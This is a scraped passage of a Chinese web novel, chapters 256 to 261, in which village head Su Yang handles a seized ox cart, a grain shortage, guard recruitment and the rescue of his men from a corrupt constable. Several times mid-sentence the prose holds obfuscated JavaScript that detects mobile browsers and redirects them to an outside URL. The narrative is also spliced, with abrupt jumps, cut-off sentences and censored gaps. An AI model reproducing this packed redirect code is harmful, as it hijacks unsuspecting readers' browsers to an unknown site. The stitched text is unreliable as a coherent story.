她感觉像是被人当头浇了一盆冰水,从头凉到脚。 牛车可是个稀罕物,搁在古代,那比现在的宝马奔驰还金贵,谁家能不认识自家的? 牛车到了苏阳手里,那自家男人和儿子呢?难不成…… 赖志成的婆娘不敢再往下想,只觉得一阵天旋地转,胸口像是被一块巨石压住,喘不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王婉苏眯起眼睛,仔细辨认。 “这… 第二百五十六章 …这不就是姐夫家的牛车吗?那车辕上的疤,还是我小时候不小心磕的呢!” “没错!就是你姐夫家的!可现在呢?你再看看,这牛车在谁手里?”赖志成的婆娘语气中带着一丝悲愤。 王婉苏也觉得奇怪,但她奇怪的不是牛车本身,而是自家姐姐的反应。 “姐,你咋了?自家牛车,你咋还问起我来了?难不成苏二还能把它变没了?”王婉苏一脸疑惑。 “不是变没了,是被他抢了!光天化日,明抢!”赖志成的婆娘越说越激动,声音都有些发颤。 这下,王婉苏彻底愣住了,随即,一股怒火从心底蹿了上来。 “啥?抢?这还了得!反了他了!我现在就去找他,让他把牛车还回来!要是不还,我就去告官,让他蹲大牢!” 王婉苏说着就要往前冲,让赖志成的老婆一把给逮住了。 “你给我回来!你一个小丫头片子,能把他咋样?别到时候牛车没要回来,再把自己搭进去!”赖志成的婆娘急忙劝阻。“村正,村口停着几台大货车,说是来送建材的,要不要让他们进门?” 一名卫村队员急匆匆跑来,打断了正在看热闹的人群。 苏阳一听,眉头微皱。这时候来送砖瓦?怕不是有诈! 自从把青虎岭那帮贼人收拾了,青龙村现在可是远近闻名的“福泰村”。谁还敢来这儿惹事? 为了保险起见,就算是大白天,村门也关得严严实实,还派了卫村队的人轮着守着,就怕万一。 “走,瞧瞧去。” 苏阳不敢大意,叫上几个平时脑子活络的小子,拎着哨棒就往村口赶。 跟赖志成那松松垮垮的看门队伍不一样,苏阳给卫村队的待遇可不赖。 别问赖志成为啥不给高点儿,他没那胆儿! 原来一天一顿稀的,现在直接变成一天两顿。 中午干饭,晚上稀的。这待遇,比一些小门小户都强。 苏阳说了,要是碰上像修村墙这种出大力的活儿,还得给大家伙加餐,整点荤腥,补补油水。 卫村队是给咱老百姓自己保平安的,又不是光给他苏阳一个人卖命,待遇比那些长工差点儿,大家伙儿也都没啥意见。 就这,卫村队员们一个个也都挺知足,对苏阳那是感激不尽。 一天两顿,不用吃家里的。这搁以前,想都不敢想! 大冬天的,能少养活一张嘴,那可不是闹着玩儿的! 苏阳给的甜头还多着呢。 家里有人在卫村队的,还能再出来一个到厂区干活,一天三顿管饱,还给二升粮食。 这条件,谁听了不迷糊? 卫村队员们没了后顾之忧,还不把脑袋别在裤腰带上,给村里好好干? 所以,卫村队是最向着苏阳的,基本他说啥就是啥,让干啥就干啥。 爬上村墙的架子,苏阳往外一瞅。 嘿,还真是几辆大车停在村口。 一个瓦匠打扮的人站在车前头,正往这边瞅呢。 一见苏阳,那瓦匠立马笑开了花: “西家,是我找的人,来送砖瓦了。” 苏阳心里那根弦儿还是绷着。 他朝边上的二娃递了个眼色,二娃一点头,带着几个人把半边村门打开,出去查验。 直到确定这些人身上、车上都没藏着家伙事儿,苏阳这才松了口气,让人把大车放进来。 几个小子也没觉得苏阳这是多此一举,一个个都板着脸。 自从跟着村正上过战场,见过血,他们也都知道了啥叫小心无大错。 苏阳让人把大车赶到卧龙沟北边。那边宽敞,好卸东西。 卸车,点货,给钱,都安排得明明白白。 苏阳又跟他们说了,赶紧再来几车,盖房子这事儿,赶早不赶晚。 送砖瓦的一走,苏阳把几个瓦匠师傅叫到跟前,笑呵呵地说: “几位师傅,咱这盖房子,不讲究那些虚的,干脆就今天动工,咋样?” 苏阳在战场上的那点儿事迹,早就传遍了。 青虎岭那帮坏种,被他揍得哭爹喊娘,那叫一个解气! 这几天,陆陆续续来了好几拨匠人,都想跟着苏阳干。 苏阳那还不是有多少要多少,只要手艺过硬,来者不拒。 人多才好干活不是? 光是瓦匠就来了十多个,盖房子正好用得上。 几位泥瓦工听完,都愣在那儿了,你看看我,我看看你,都不知道说啥好。 “西家,这……这也太急了吧?” 一个老师傅有点儿磕巴, “盖房子可是大事,哪能说动工就动工?起码得找人看看风水,算算日子… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387513|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” “是啊,西家,这可不是闹着玩儿的。万一冲撞了啥,可咋整?” 另一个瓦匠也赶紧附和。 “你们呐,就是想得多!” 孔远山在一旁听不下去了, “咱村正是啥人?那是天上的文曲星下凡!文曲星说的话,还能有错?” 几个瓦匠一琢磨,好像也是这么个理儿。 最近村里都传遍了,说苏阳是神仙转世。 要不咋说人家年纪轻轻就能当村正,还能带着大家打胜仗? “那……行吧。不过,西家,有句话俺们不知当讲不当讲……” 几个瓦匠还是有点儿不放心,但又不敢说得太明白,怕犯了忌讳。 …… 再说早些时候。 苏阳正看得起劲儿,桥上牛车走得那叫一个稳当,他心里还美滋滋地想这桥修得真不赖。 冷不丁旁边窜出个人影,一把抓住他胳膊,劲儿还不小。 苏阳吓了一跳,还以为有刺客,汗**都炸起来了。 说时迟那时快,他“噌”地抽出腰里的虎头弯刀,照着那人胸口就扎了过去! “啊!” 一声惊叫,是女人的声音。 王婉苏做梦也没想到,苏阳会突然对自己动手。 苏阳这才反应过来,刀尖在最后一刻停住了,差点儿就出了大事。 他一看,眼前这人,不是赖志成家的小姨子王婉苏又是谁? 急忙收手,可还是慢了一步。 刀尖虽然停了,但也划破了王婉苏的衣裳,离她胸口,就差那么一丁点儿! 准确点儿说,刀尖已经挨着王婉苏胸前的嫩肉了。 冰凉的刀锋贴着皮肤,王婉苏先是一惊,接着,一股说不清道不明的感觉涌上来,就好像苏阳的手碰到了自己一样。 “嗖”的一下,王婉苏浑身都麻了,脸上更是火烧火燎。 苏阳也纳闷呢,这小娘们儿咋回事? 吓坏了不该脸色发白吗? 这赖志成家的小姨子倒好,吓得直哆嗦,脸蛋儿却红扑扑的,看着还怪好看的。 这一出,把周围看热闹的人都给看懵了。 这唱的是哪一出? 光天化日,俩人咋还动起手来了? 阳哥儿要拿刀捅赖志成家的小姨子? 第二百五十七章 莫非真是那啥,始乱终弃? 要说苏阳手底下这帮小子,跟着他可没少长见识,说话也一套一套的。 赖志成的婆娘可没工夫琢磨这些,她只看见苏阳要拿刀捅王婉苏,吓得“嗷”一嗓子,差点儿没背过气去。 苏阳给她留下的阴影太大了,哪怕再担心小妹,她也不敢往前冲,只能在那儿干着急。 王婉苏也觉得自个儿不大对劲,心里又羞又气。她哪还顾得上问苏阳抢牛车的事,捂着脸就跑了。 看着王婉苏跑远的背影,苏阳心里“咯噔”一下。 完了! 这小娘们,八成是看上自己了! 要不就是被啥迷了心窍? 咋觉得浑身发热,跟灌了二两老白干似的? 王婉苏这么一闹,本来挺热闹的通车仪式,味儿全变了。 大伙儿心里头那八卦的小火苗,“呼呼”地就烧起来了。 说的、想的,全是苏阳和赖志成家小姨子的那点儿破事。 新桥通车? 那算个啥!苏阳把手一背,声若洪钟:“几位师傅,只管甩开膀子干!出了岔子,天塌下来有我苏阳顶着!” 敞亮。 青龙村谁不知道,苏阳就是那定海神针,一言九鼎。 几个匠人互相递了个眼神,心下稍定。 “中!听村正的,准没错!”为首的老师傅把烟袋锅子在鞋底磕了磕,“干!” 话音未落,村口望风的队员就急吼吼地冲了过来,上气不接下气: “村……村正!来……来了几辆大车,说是……送粮的!” “呼……” 这队员猛喘了几口气,才算把话说囫囵。 人群“嗡”的一下就炸了。 七嘴八舌的声音响成一片。 “济富童子真真儿的灵验!刚说动土,粮食就上门了!” “苏村正怕不是真有神仙保佑!” “几位师傅瞧见没?这才叫吉兆!盖桥这事儿,稳了!” “……” 声浪一阵高过一阵。 几个瓦匠交换着眼神,都觉得这事儿透着邪性。 这也太巧了。 前脚刚说动工,后脚粮食就送来了。 难不成这小村正真有啥门道? 搁在后世,有人敢提“神仙显灵”,非得被当成精神病不可。 可这年头,老百姓就吃这一套。 要不然那些**的,哪个不得编个瞎话? 苏阳也闹不明白,自己随口一句话,村民们直接帮他把“天命”的戏码都给脑补出来了。 这叫什么事儿? 自个儿好歹也是受过现代教育的,咋还成了封建迷信的头子? 这……这不科学啊! 三溪镇粮店的吕掌柜亲自押车,五辆大车,满满当当,二十石杂粮。 没错,掌柜的姓何。 苏阳心说,这吕掌柜和吕巡检,八成是脱不了干系。 这年头,当官的哪个不捞点外快? 一个巡检,管着一镇的油水,手里要是没点儿产业,说出去谁信? 不过郑县尉就有点儿不知趣了,竟然从吕巡检嘴里夺食,难怪吕巡检最近上火。 苏阳现在可没心思给吕巡检出头。 他手上还攥着郑县尉勾结青虎岭土匪的把柄呢。 要是吕巡检这点儿小事都摆不平,那他这巡检也白当了! “吕掌柜,您这也忒少了点儿!杯水车薪啊!” 苏阳眉头紧锁。 倒不是他挑肥拣瘦,是真的不够。 最近粮食消耗量猛增,二十石粮食,听着唬人,其实也就四千来斤。 北岸厂区那边,两百多张嘴等着吃饭呢。 干的都是重体力活,饭量大得惊人,一人一天就得两斤往上。 苏阳心里快速盘算了一下。 这还不算给帮工的报酬,一人一天两升粮食,又是一笔不小的开销。 两百多人,一天光是报酬就得四五百斤。 “吕掌柜,您看这……” 苏阳把难处一说,几个刚还说闲话的村民都傻眼了。 他们哪会算这个账,还以为二十石粮食够吃一辈子呢。 没想到苏村正一张嘴,几百口子人,几天就吃个精光! 吕掌柜也面露难色,两手一摊: “苏村正,您是不知道,我这就是个小本买卖。三溪镇这地界儿,平日里买粮的人不多,我哪儿敢多进货啊?真卖不出去,全得烂在手里!” “那你倒是去进货啊!难不成你这粮,都是从乡亲们手里一点点抠出来的?” 苏阳追问。 “嘿,您还真说着了!”掌柜猛地一拍大腿,“我这粮食,还真就是这么来的!” 得。 苏阳算是明白了。 这吕掌柜,压根儿就没进货的门路! 没辙,苏阳只能先把眼前的难关对付过去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16390759|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “吕掌柜,我这儿有几个不长眼的,你顺路给吕巡检捎过去,就说我苏阳请他看着办。” 苏阳话锋一转。 “捎人?” 吕掌柜有点儿懵。 “对,捎人。” 苏阳一招手,几个队员押着几个五花大绑的家伙走了过来。 其中一个,身上还带着血。 “这……” 吕掌柜更迷糊了。 “这几个是清水村的,那个挂彩的,在青虎岭当过土匪,心黑手狠,还坏了良心……吕掌柜,你把人交给吕巡检,这事儿就算你帮我个忙。” 苏阳简单解释了几句。 吕掌柜一听“青虎岭”三个字,顿时就明白了。 吕巡检最近正为这事儿头疼呢! **好几个弓手,还差点儿把自己搭进去。 这要是能把几个土匪送过去,吕巡检还不得高看自己一眼? “没问题!包在我身上!” 吕掌柜拍着胸脯保证。 送走了吕掌柜,苏阳把孔远山叫到跟前。 “远山,带上你的小伙伴,去县城一趟。” 苏阳开门见山。 孔远山一听这话,立马来了精神,腰板挺得笔直。 “村正,您说,啥事儿?” “你去县城,去粮铺找老郑,跟他说,我要一百石粮食。让他直接送到青龙村来,运费我出双倍!” 苏阳现在手头紧,时间更紧。 他不想把时间浪费在来回运粮上。 “记住了,顺便打听一下凤子楼的动静。别声张,能不让人知道你们是青龙村的,就别露底。” 苏阳又补充了一句。 “得嘞!村正您就擎好吧!” 孔远山兴奋地应了一声,点了四个精干的小子,脚底抹油一般出了村子。晨曦微露,青龙村的晒粮场上已是人头攒动。 今天是苏阳广纳新人的日子,村里村外,适龄的青年们早早**,屏息以待。 “都精神着点!” 苏阳站在临时搭起的土台上,双手叉腰,目光如炬,扫视着面前一张张年轻而充满期待的脸庞。 他没有立即开始考核。 这次招新,除了本村的后生,还有不少是手下小子们担保的外村人。 目光扫过一张张或熟悉或陌生的面孔,苏阳心里跟明镜似的。 他定下规矩:一人只能带一个,被保人若品行不端,担保人连坐! 第二百五十八章 这规矩,可把小子们给难住了。 宁缺毋滥,谁也不敢拿自己的前程开玩笑。 其中最典型的,就是林韧。 “林韧那小子呢?让他站出来!”苏阳突然提高了嗓门。 人群中一阵骚动,一个瘦小的身影被推了出来,正是林韧。 他低着头,不敢看苏阳的眼睛,手指紧张地绞着衣角。 苏阳冷哼一声, “你小子,差点儿没把你自家给坑了!” “说说吧,咋回事?” 林韧吞吞吐吐,把事情的来龙去脉讲了一遍。 原来,他外婆家的邻居,不知从哪儿听说了苏阳招新的事,送来两斗粮食,求林韧给他家那游手好闲的儿子担保。 林韧的娘舅见钱眼开,满口应承。 这事儿,可把林韧给吓坏了! 他娘更是脸色煞白,声音都变了调: “儿啊,你可不能犯糊涂!阳哥儿最恨这种事,和四就是例子!你这是要把咱全家往火坑里推啊!” 林韧这才知道厉害。 后怕一阵接着一阵,他差点儿没和外公家断了关系。 “阳哥儿,我……我错了……”林韧的声音小得像蚊子哼哼。 苏阳瞥了他一眼, “错哪儿了?” “我……我不该……不该听我舅的……” “还有呢?”苏阳步步紧逼。 “我……我不该……不该没弄清楚就……”林韧的声音越来越低。 苏阳猛地一拍身边的桌子, “蠢货!差点儿被人卖了还帮人数钱!” “你知不知道,要是你担保的那小子真出了问题,你会有什么下场?” 林韧吓得一哆嗦, “我……我知道,阳哥儿……我再也不敢了……” 苏阳这才缓和了语气, “行了,这事儿给你个教训,以后长点儿心眼!” “都听好了!”苏阳转向众人,声音再次提高, “我苏阳招人,最看重的就是规矩!谁要是敢坏了规矩,别怪我不客气!” 这事一出,像一盆冷水浇在了众人头上。 之前还跃跃欲试的小子们,顿时都收敛了许多。 “往后可得小心,这担保可不是闹着玩的!” 人群中,有人压低了声音,跟同伴嘀咕。 “是啊,谁知道担保的人背地里是啥样?一个不小心,把自己搭进去可就亏大了!” 几个人低声议论着,都暗自打定主意,回去之后,一定要好好打听打听,确保万无一失。 原本喧闹的晒粮场,安静了不少。 大家伙儿都开始重新审视自己要担保的人,生怕一个不慎,惹祸上身。 苏阳看着众人的反应,满意地点了点头。 他要的就是这个效果,防微杜渐,总比出了事再收拾烂摊子强。 …… “好,人都到齐了,咱们开始!” 苏阳一声令下,比试要开始了。 他手下的小子们早就轻车熟路,一个个摩拳擦掌,跃跃欲试。 这次考核,苏阳稍微调整了下流程。 第一关,还是测视力。 “眼神儿不好的,趁早回家!别耽误大家伙儿的功夫!” 负责这一关的小子扯着嗓子喊道。 第二关,则是举石锁。不过苏阳这次提高了标准。往常是举起五十斤的就算过关,这次直接提到了八十斤。 不少人暗自叫苦,却也只能咬牙硬撑。 最后一关,是耐力测试。苏阳让人准备了一大堆石头,让参加考核的小子们抱着石头绕着晒粮场跑,谁先坚持不住,谁就被淘汰。 之所以这么安排,是因为苏阳觉得光是跑还不够,得加点儿负重,才能真正考验出这些人的体力和耐力。 “这回可真是下了血本了!” 负责记录的小子看着一个个累得气喘吁吁的年轻人,忍不住感慨。 “谁说不是呢,阳哥儿这是要打造一支铁军啊!” 旁边的小子附和道。 出乎意料的是,即使考核难度增加,通过的人数依然不少。 青龙村本村有三十多个小子达标,外村的也有十几个过关。 清点完人数后,负责的小子也有些懵。挠了挠头,拿着记录的木板走到苏阳跟前。 “阳哥儿,这……这人数有点儿多啊,咋办?” “多?”苏阳接过木板,扫了一眼,“多就多呗,难不成还嫌人多?” “不是……这……以前不都……”那小子支支吾吾,往年可都是有名额限制的。 苏阳把木板往他手里一塞:“以前是以前,现在是现在!告诉他们,都留下!” 以往还会让新人们互相竞争一下,这次是真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孔远山他娘心急火燎地找了过来,话到嘴边,苏阳又咽了回去,只说派他进城置办东西,好一番说辞才把人劝走。 “菩萨坐下的济富童子。” 这是青龙村老少爷们儿送给苏阳的雅号。 第二百五十九章 可眼下,孔远山他娘刚走,苏阳心里像坠了块磨盘,转不开磨。人家这么信自己,万一出了岔子…… 晚上,连林绮娘身上那股子甜香气儿,闻着都像馊了。 …… 第二天,拂晓。 苏阳把石头叫起来,让他看着家,顺便把新来的小子们练起来。 自己胡乱往嘴里塞了几口,带了十个棒小伙,套上两辆马车,就往清阳县赶。 路上吃的? 几个白面馒头,对付一口得了。 大灰马撒开四蹄,拉着车跑得飞快,比往日里牛车快了一倍不止。 守城门的军汉一见苏阳,脸比锅底还黑。 “娘的,又是这扫把星!” 苏阳这会儿哪有心思耍贫嘴,胳膊一甩,几个馒头飞了过去。 马蹄不停,驾着马车入了城。 几个军汉捧着暄腾腾的馒头,面面相觑: “头儿,这馒头,咋跟长安街符福卖的一个味儿?” “邪门了,不会这小子真是符福亲戚吧?” …… 苏阳一路风驰电掣,直接奔了郑掌柜的粮店。 “哎呦,这不是苏小哥吗?你不是让人带话,说要粮吗?咋还亲自跑一趟,有啥变动?” 郑掌柜见了苏阳,跟见了鬼似的。 苏阳也不答话,眼睛像锥子一样,在郑掌柜脸上来回扫。 老家伙看着不像撒谎,稳如泰山。 苏阳话锋一转: “粮的事儿您照旧,我是来打听人的。我那几个送信儿的小子,您给个实话,他们人呢?” “这……” 郑掌柜一愣,随即一拍大腿: “苏小哥,你可别吓我!他们前天下午交了定钱,转头就走了,我哪儿知道他们去哪儿了?” 郑掌柜顿了顿,声音低了下去: “他们几个,身上也没几个钱,我这大店面,还能图他们那点儿银子?” 苏阳微微点头,继续问道: “那……您这儿可有他们的消息?” 郑掌柜摇头像拨浪鼓: “真没有。要不,我把伙计们叫来,让他们想想?” 说着,他把店里的伙计们都喊了过来。 苏阳现在也没别的法子。 郑掌柜把伙计们聚在一起,问了一圈。 没一个知道的。 粮店的伙计不像酒楼伙计,消息不灵通。 郑掌柜一捻胡子: “苏小哥,依我看,你不如去凤子楼碰碰运气,那里消息最快。” 苏阳道了谢,让他按时送粮。 凤子楼? 他可不敢去。 苏阳知道自己几斤几两,带几个人就能挑了青虎岭? 这次只带了十个人,就敢去凤子楼的地盘上找事? 活腻歪了。 “去长安街,找符福。” 苏阳朝几个手下吩咐。 几个小子一听,眼睛都直了,你看看我,我看看你,都憋着笑。 上次阳哥儿调戏符福媳妇,被人扫地出门,这回又去? 苏阳心里装着事,哪注意这些,催着马车就走。 到了长安街,随便找几个小贩打听。 “符福?早就不来卖炊饼了。” “咋回事?” 苏阳心头一紧。 “这……” 几个小贩吞吞吐吐,想说又不敢说。 苏阳心里明镜似的,符福这是上次的伤还没好。 “去符福家。” 苏阳当机立断,现在也没别的线索,只能死马当活马医。 几个小子一听,更来劲儿了。 这是要直接找上门了啊! …… 两辆马车停在青砖街符福家门口。 呼啦啦,围上来一群看热闹的。 苏阳骑着高头大马,更惹眼了。 “有好戏看了……” “符福这下完了……” 人群里嗡嗡的,苏阳也听不清,直接上前敲门。 “咚咚咚。” 门开了。 苏阳心头一沉。 开门的小娘子一脸愁苦,眼睛红肿,一看就是哭过,哪还有往日的光鲜? 一见是苏阳,小娘子先是一愣,接着就跟见了救星似的: “小虎!您可算来了!” 几个小子互相挤眉弄眼。 看,阳哥儿跟符福媳妇果然有一腿! 苏阳也愣了: “我……” 还没等他“我”出个所以然,小娘子带着哭腔说道: “您真是神了,咋知道他们出事了?”“孔远山他们出事了?” 苏阳的声音都变了调,心头仿佛被一块巨石压住,沉甸甸的。他猛地抓住小娇妻的手,力道大得惊人: “老家娘,快说,这帮家伙究竟搞什么鬼?” 小少妇只觉得心头“咚”的一跳,一股异样的感觉涌上心头。 这手, 孔武有力, 还带着一股子让人安心的暖意…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我一个妇道人家,哪里不明白他们打的什么鬼主意?说理是假,想要……想要占我便宜才是真!” 她紧紧地攥着拳头,指节因为用力而微微泛白。 “可惜,我这小身板,根本不是这群地痞的对手? 第二百六十章 ” 她无助地看向苏阳,眼中满是求助的意味。 “当时也有路人看不下去,想要站出来说句公道话……” 小少妇的声音里带着一丝感激, “可是……可是那几个闲汉一句话,就把那些人都给吓跑了。” “他们说什么?” 苏阳追问道,眉头紧锁。 “他们说……他们说自己是凤子楼肥掌柜的亲戚,谁敢多管闲事,就……就让他吃不了兜着走!” 小少妇的声音里充满了绝望, “当时那种情况,我真是叫天天不应,叫地地不灵……” 就在这千钧一发之际, “孔远山他们几个正好路过。” 小少妇的眼中闪过一丝亮光, “孔远山那小子,平时看着不着调,关键时刻脑子倒是转得快,一眼就认出我来了。” “他大喊一声‘这不是符大娘子吗’,然后就……” 小少妇的脸上露出了一丝敬佩之色。 符大娘子, 在苏阳手下这帮小子们心里, 那就是女神一般的存在。 女神有难, 岂能袖手旁观? 更何况, 这位“女神”可不一般, 她还是…… 还是自家老麻苏阳的…… “小四”! 苏阳哥可是经常把这两个字挂在嘴边的。 眼瞅着老麻的“小四”要吃亏, 孔远山哪能坐视不理? 这要是传回青龙村, 他还怎么跟苏阳交代? 别看孔远山平时杀个鸡都哆嗦, 可要论起歪门邪道, 敲闷棍、套白狼之类的阴招, 他比谁都精! “趁着那几个……那几个……” 小少妇犹豫了一下, “其实就是青虎岭的土匪,趁着他们注意力都在我身上,孔远山带着几个小子,悄悄地绕到了他们身后,一人一闷棍就敲了下去!” 她描述得绘声绘色,仿佛亲眼所见一般。 “几棒子下去,别说是几个土匪,就是头牛也得跪!” 小少妇的语气中带着一丝解气, “这群混混立马翻起了死鱼眼,躺在地上一个劲儿地抽抽,嘴角还直吐白沫……” 可事情并没有就此结束, “也不知是凑巧还是怎么的,孔远山刚要带着我离开,迎面就撞上了严都生带着一队人巡街。” 小少妇的脸色变得难看起来, “那严都生……给人的感觉就不是个好人,鼻子不是鼻子,眼不是眼的。” 这孔远山也是个愣头青,平时在村里横,见了官差就成了软脚虾。 “他见着了官差,就像老鼠见了猫,腿肚子都软了,连句话都说不利索。” 小少妇恨铁不成钢地叹了口气, “那严都生问他怎么回事,他支支吾吾半天,也没说出个所以然来。” 苏阳一听就明白了,一张脸阴沉得能滴下水来。 “这严都生,八成是跟那些土匪沆瀣一气!” 他冷哼一声, “正常来说,这种事儿,就算不把孔远山他们当成义士,至少也得先把那些个泼皮抓起来,哪有反倒把见义勇为的给逮了的?” “大元朝虽说律法不严,可也没到这种黑白颠倒的地步!” 苏阳越想越气, “这清河县的治安,真是烂到根儿里了!” 他捏紧了拳头,关节咔咔作响。 “老家娘,你先别急,这事儿我一定给你个交代。” 苏阳沉声说道, “不过,光知道个名字还不够,我还得打听打听,这严都生到底什么来头,住在哪儿,总得先摸清了他的底细才好下手。” “不能就这么不管不顾地找上门去,那样太便宜他了!” 苏阳眼中寒芒闪烁, “这事儿,得好好谋划谋划……” 小娇妻压根不知严都生住哪,只是一个劲儿地摇头,双手不自觉地绞在一起,生怕苏阳误会了什么。 直到这时候,苏阳才猛然惊觉,似乎……有哪里不太对劲…… 低头一看, 苏阳感觉脑门上“嗡”的一声, 血都涌上来了! 我的老天爷! 居然一直拉着人家小娇妻的手不撒开! 这…… 这要是让村里那些个长舌妇知道了,还不得编排出什么难听的闲话来? 到时候,自己这张老脸往哪儿搁? 苏阳心里一阵懊恼,恨不得找个地缝钻进去。 他故作镇定地咳嗽了一声,装作若无其事地松开了手。 可刚一松手,苏阳就后悔了。 只觉得掌心里空落落的, 仿佛少了些什么…… 正在他胡思乱想之际, 忽然, 一只温软的小手, 轻轻地, 搭在了他的手背上。 那触感, 如同上好的丝绸一般, 柔滑, 细腻, 还带着一丝丝的暖意…… 苏阳只觉得浑身一个激灵, 像是被电流击中了一般, 整个人都僵在了那里。 他缓缓地抬起头, 只见小少妇正低着头, 脸颊绯红, 眼神躲闪, 一副手足无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“怪不得……怪不得孔远山那小子平时那么怂,阳哥儿还对他另眼相看,原来……原来是这么回事!” “这下可有好戏看了!” 几个小子窃窃私语, 看向苏阳的眼神中, 充满了敬佩和…… 一丝丝的鄙夷。 毕竟, 夺**女这种事, 在他们看来, 还是有些…… 有些不太道德。 不过, 这并不妨碍他们对苏阳的佩服。 能把这么漂亮的女人搞到手, 那也是一种本事! 而此时的苏阳,一颗心早就提到了嗓子眼。 第二百六十一章 他知道, 自己这次是跳进黄河也洗不清了。 就算自己浑身是嘴, 也解释不清这其中的误会。 更何况, 就算他想解释, 小少妇又岂会相信? 说不定, 还会以为自己是在故意推脱, 是在羞辱她…… 想到这里, 苏阳只觉得一阵头大。 孔远山啊孔远山, 你小子可真是给我出了个难题! 不过, 眼下可不是纠结这些的时候。 当务之急, 是得先把孔远山那几个小子给捞出来。 至于自己和小少妇之间的这些个…… 这些个破事儿, 还是等以后再说吧! 苏阳深吸了一口气, 强迫自己冷静下来。 “兄弟们,走!咱们去会会那个严都生!”“**,晦气!” 苏阳从符大娘家门口啐了一口,转身就走。 本来想蹭顿饭,结果让孔远山几个兔崽子给搅黄了,到嘴的鸭子都飞了。 “老钱这老东西,越来越不靠谱了!老子帮他养闺女,他倒好,连老子的人都不救,什么玩意儿!” 苏阳心里窝着火,脚下步子迈得飞快,直奔东街药铺。 刚进门,一股子药味儿差点没把他熏个跟头,里头还夹杂着一股子怪味,像是啥东西发霉了。 药铺里冷冷清清,连个伙计都没有,柜台后头趴着个半死不活的人,胡子拉碴的,瘦得跟麻杆似的。 “喂,你家东家在何处?”苏阳走过去,敲了敲柜台。 那人慢慢抬起头,眼窝子都凹进去了,声音嘶哑得像锯木头:“我……我就是,小弟……啥事?” “啥?”苏阳眼珠子差点没瞪出来,“你……你是钱掌柜?你这是……让人给炖了?” 钱掌柜嘴角抽了抽,想笑又笑不出来:“家里……出了点事,不提也罢……小弟,你是抓药还是看病?” 得,看这模样,老钱家里是真出事了。 苏阳那点火气,不知咋地就消了一半。 不过,这事儿可不能就这么算了,总得问个明白! “钱掌柜,”苏阳凑近了些,声音压得低低的,“我那几个兄弟,为了救人被抓了,你怎么也不……出个面?” “啊?”钱掌柜浑浊的眼睛里闪过一丝惊讶,“那几个小弟……是你的手下?哎呦,这事儿闹的,我真不知道啊!” 苏阳一口气差点没上来。敢情人家根本就不认识孔远山他们,这从何帮起? 再说了,看老钱这副模样,别说帮忙了,估计路都走不动了。 “钱掌柜,这样,只要你能救出我这帮兄弟,我就……给你指条发财的路子,怎么样?” 苏阳眼珠子一转,换上了一副笑眯眯的表情。 “哎……”钱福生叹了口气,像是要把肺都给叹出来。 他摇了摇头,有气无力地说:“小弟,你的好意我心领了……现在啊,啥发财的路子,对我来说都没用了……” 不过,老钱这人还算厚道,虽然心如槁木,还是答应帮苏阳这个忙。 他也根本没指望什么发财的路子,只当是积德行善了。 钱福生带着苏阳,慢慢悠悠地往县衙走。 苏阳跟在后头,心里直打鼓:老钱这身子骨,可别走到一半就散架了。 到了县衙,钱福生跟门房说了几句话,就带着苏阳直接去找严都生。 钱福生把事情一说,苏阳麻溜地从怀里掏出十两银子,往严都生手里一塞。 这就……成了? 苏阳都傻眼了,这也太容易了吧? 严都生又不是顾明远的狗腿子,能帮他抓人,已经算给面子了。 再说顾明远现在哪有心思管这些破事,青虎岭让人给抄了,他现在估计正琢磨着怎么跑路呢。 手头刚进了十两碎银,还有钱福生的面子,严都生没理由不答应。 苏阳本来还以为要费一番口舌,没想到这么简单就摆平了。看来老钱在清阳县,还是有几分人脉的。 孔远山他们还没过堂,就关在县衙后院里。 严都生一句话,衙役就把人给带出来了。 一看到苏阳,孔远山几个小子眼泪刷地就下来了。 “阳哥儿,俺们没用,给你丢脸了,还让你亲自来……俺们……”孔远山哭得话都说不利索了。 苏阳挨个在他们肩膀上捶了一拳:“怂样!自家兄弟,说这些干啥!没事了,走,回家!” “是!”几个小子腰板挺得笔直,声音都带着哭腔。 这一刻,他们不再是人人喊打的过街老 